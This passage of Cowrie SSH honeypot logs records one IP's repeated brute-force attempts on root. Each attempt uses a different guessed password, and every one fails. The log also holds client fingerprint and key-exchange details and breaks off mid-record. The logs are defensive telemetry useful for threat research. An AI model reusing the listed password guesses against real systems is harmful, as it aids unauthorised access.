{"eventid":"cowrie.login.failed","username":"root","password":"Ctyun@2021","message":"login attempt [root/Ctyun@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:07.473555Z","src_ip":"60.165.124.241","session":"df721541c59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:08.733768Z","src_ip":"60.165.124.241","session":"df721541c59f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49614,"dst_ip":"10.17.0.5","dst_port":22,"session":"402b8599a391","protocol":"ssh","message":"New connection: 60.165.124.241:49614 (10.17.0.5:22) [session: 402b8599a391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:08.952980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:08.957508Z","src_ip":"60.165.124.241","session":"402b8599a391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:09.201351Z","src_ip":"60.165.124.241","session":"402b8599a391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ2wsx@WSX","message":"login attempt [root/1qaz!QAZ2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:09.935281Z","src_ip":"60.165.124.241","session":"402b8599a391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:11.178575Z","src_ip":"60.165.124.241","session":"402b8599a391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52624,"dst_ip":"10.17.0.5","dst_port":22,"session":"f98558a278b7","protocol":"ssh","message":"New connection: 60.165.124.241:52624 (10.17.0.5:22) [session: f98558a278b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:11.435858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:11.444107Z","src_ip":"60.165.124.241","session":"f98558a278b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:11.701019Z","src_ip":"60.165.124.241","session":"f98558a278b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdjkl","message":"login attempt [root/asdjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:12.463547Z","src_ip":"60.165.124.241","session":"f98558a278b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:13.721060Z","src_ip":"60.165.124.241","session":"f98558a278b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55568,"dst_ip":"10.17.0.5","dst_port":22,"session":"31baa83b1303","protocol":"ssh","message":"New connection: 60.165.124.241:55568 (10.17.0.5:22) [session: 31baa83b1303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:13.970714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:13.975950Z","src_ip":"60.165.124.241","session":"31baa83b1303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:14.227446Z","src_ip":"60.165.124.241","session":"31baa83b1303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"talent123","message":"login attempt [root/talent123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:14.989720Z","src_ip":"60.165.124.241","session":"31baa83b1303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:16.244415Z","src_ip":"60.165.124.241","session":"31baa83b1303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58580,"dst_ip":"10.17.0.5","dst_port":22,"session":"de971034eb31","protocol":"ssh","message":"New connection: 60.165.124.241:58580 (10.17.0.5:22) [session: de971034eb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:16.464596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:16.472040Z","src_ip":"60.165.124.241","session":"de971034eb31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:16.708558Z","src_ip":"60.165.124.241","session":"de971034eb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe@2024","message":"login attempt [root/QWEqwe@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:17.426056Z","src_ip":"60.165.124.241","session":"de971034eb31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:18.665121Z","src_ip":"60.165.124.241","session":"de971034eb31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33138,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea15de3ee7c","protocol":"ssh","message":"New connection: 60.165.124.241:33138 (10.17.0.5:22) [session: 4ea15de3ee7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:18.903497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:18.912126Z","src_ip":"60.165.124.241","session":"4ea15de3ee7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:19.151721Z","src_ip":"60.165.124.241","session":"4ea15de3ee7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu@1234","message":"login attempt [root/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:19.873844Z","src_ip":"60.165.124.241","session":"4ea15de3ee7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:21.116328Z","src_ip":"60.165.124.241","session":"4ea15de3ee7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36052,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a5af5256ab","protocol":"ssh","message":"New connection: 60.165.124.241:36052 (10.17.0.5:22) [session: 90a5af5256ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:21.346456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:21.351872Z","src_ip":"60.165.124.241","session":"90a5af5256ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:21.590457Z","src_ip":"60.165.124.241","session":"90a5af5256ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert!@#$%","message":"login attempt [root/qwert!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:22.308453Z","src_ip":"60.165.124.241","session":"90a5af5256ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:23.546413Z","src_ip":"60.165.124.241","session":"90a5af5256ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c991189c2e","protocol":"ssh","message":"New connection: 60.165.124.241:38990 (10.17.0.5:22) [session: c0c991189c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:23.776983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:23.782144Z","src_ip":"60.165.124.241","session":"c0c991189c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:24.026902Z","src_ip":"60.165.124.241","session":"c0c991189c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa888888","message":"login attempt [root/Aa888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:24.753744Z","src_ip":"60.165.124.241","session":"c0c991189c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:26.011159Z","src_ip":"60.165.124.241","session":"c0c991189c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42072,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ec0f02fcf5","protocol":"ssh","message":"New connection: 60.165.124.241:42072 (10.17.0.5:22) [session: 93ec0f02fcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:26.270225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:26.275967Z","src_ip":"60.165.124.241","session":"93ec0f02fcf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:26.537972Z","src_ip":"60.165.124.241","session":"93ec0f02fcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@121212","message":"login attempt [root/Aa@121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:27.306422Z","src_ip":"60.165.124.241","session":"93ec0f02fcf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:28.573656Z","src_ip":"60.165.124.241","session":"93ec0f02fcf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45004,"dst_ip":"10.17.0.5","dst_port":22,"session":"53ab9cf24608","protocol":"ssh","message":"New connection: 60.165.124.241:45004 (10.17.0.5:22) [session: 53ab9cf24608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:28.797489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:28.803257Z","src_ip":"60.165.124.241","session":"53ab9cf24608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@